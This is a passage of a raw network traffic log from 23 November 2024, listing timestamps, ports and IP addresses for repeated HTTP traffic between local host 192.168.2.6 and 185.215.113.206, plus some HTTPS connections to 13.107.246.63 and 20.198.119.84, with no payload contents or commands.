Nov 23, 2024 09:16:29.971919060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.971959114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.972002029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.972950935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.972995043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.993041039 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.993118048 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.993189096 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.014744997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.014803886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.014816999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.014853954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.015064001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.015114069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.015172958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.015214920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.016218901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.016274929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.016350031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.016392946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.017345905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.017399073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.017425060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.017466068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.018153906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.018210888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.018234015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.018273115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.019280910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.019332886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.019373894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.019453049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.020405054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.020457029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.020504951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.020548105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.021547079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.021600962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.021646023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.021689892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.022680044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.022730112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.022800922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.022841930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.023792982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.023834944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.023906946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.023946047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.025065899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.025106907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.025131941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.025171995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.026047945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.026115894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.026153088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.026194096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.027184963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.027228117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.027297974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.027332067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.028347969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.028389931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.028426886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.028466940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.029453993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.029503107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.029572964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.029613972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.030590057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.030688047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.030698061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.030766010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.031742096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.031794071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.031800032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.031843901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.032484055 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.032505035 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.032516956 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.032522917 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.032854080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.032903910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.032948017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.032991886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.033987999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.034045935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.034085989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.034126043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.035150051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.035203934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.035216093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.035258055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.036223888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.036281109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.036287069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.036329031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.042680025 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.042705059 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.042773962 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.043150902 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.043164968 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.080324888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.080450058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.080457926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.080492973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.080902100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.080952883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.081020117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.081077099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.082060099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.082115889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.082195997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.082237959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.083261967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.083311081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.083539009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.083591938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.083666086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.083717108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.084728003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.084780931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.084815979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.084857941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.085791111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.085832119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.085840940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.085872889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.086900949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.086947918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.087023973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.087063074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.088054895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.088099957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.088162899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.088208914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.089170933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.089222908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.089310884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.089358091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.090322971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.090372086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.090456963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.090503931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.091471910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.091519117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.091557026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.091598034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.092560053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.092608929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.092678070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.092717886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.093688965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.093733072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.093816996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.093863010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.145998955 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.146188974 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.146256924 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.152638912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.152707100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.152779102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.152822018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.153242111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.153281927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.153323889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.153357983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.154309988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.154352903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.154412985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.154452085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.155467987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.155508995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.155581951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.155626059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.156112909 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:30.156251907 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:30.156315088 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:30.156594992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.156641006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.156703949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.156748056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.157743931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.157788038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.157825947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.157866955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.158850908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.158895016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.158950090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.158997059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.159972906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.160048008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.160089016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.160137892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.161107063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.161154032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.161186934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.161226988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.162251949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.162292957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.162336111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.162377119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.163367987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.163413048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.163484097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.163527012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.164344072 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:30.164388895 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:30.164510012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.164555073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.164633989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.164674997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.165656090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.165699959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.165740967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.165781975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.166776896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.166821003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.166906118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.166938066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.167916059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.167958975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.168067932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.168113947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.169029951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.169071913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.169151068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.169192076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.170165062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.170207977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.170208931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.170249939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.171288967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.171338081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.171370029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.171412945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.172451019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.172496080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.172532082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.172573090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.173552036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.173593044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.173654079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.173696041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.188163996 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.188183069 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.188194990 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.188199997 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.210165977 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.210194111 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.210258007 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.212280989 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.212301970 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.216001987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.216046095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.216068983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.216108084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.216577053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.216617107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.216675043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.216717005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.216978073 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.217027903 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.217067957 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.217402935 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.217411995 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.217420101 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.217422962 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.217691898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.217729092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.217802048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.217844009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.218168974 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.218333960 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.218378067 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.218578100 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.218581915 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.218600988 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.218605995 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.218843937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.218880892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.218945980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.218982935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.219944000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.219988108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.220051050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.220088959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.220523119 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.220547915 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.220597982 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.221117020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.221168995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.221204996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.221244097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.221765995 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.221827030 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.221893072 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.222214937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.222266912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.222338915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.222434044 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.222434998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.222459078 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.222517014 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.223328114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.223372936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.223447084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.223493099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.223664999 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.223685980 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.223779917 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.223792076 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.224447012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.224487066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.224524975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.224564075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.225586891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.225627899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.225719929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.225761890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.226708889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.226761103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.226814985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.226855993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.227849960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.227895021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.227958918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.228001118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.229006052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.229048967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.229119062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.229159117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.230124950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.230170012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.230209112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.230251074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.231245041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.231287956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.231374025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.231417894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.232379913 CET	80	49714	185.215.113.206	192.168.2.6
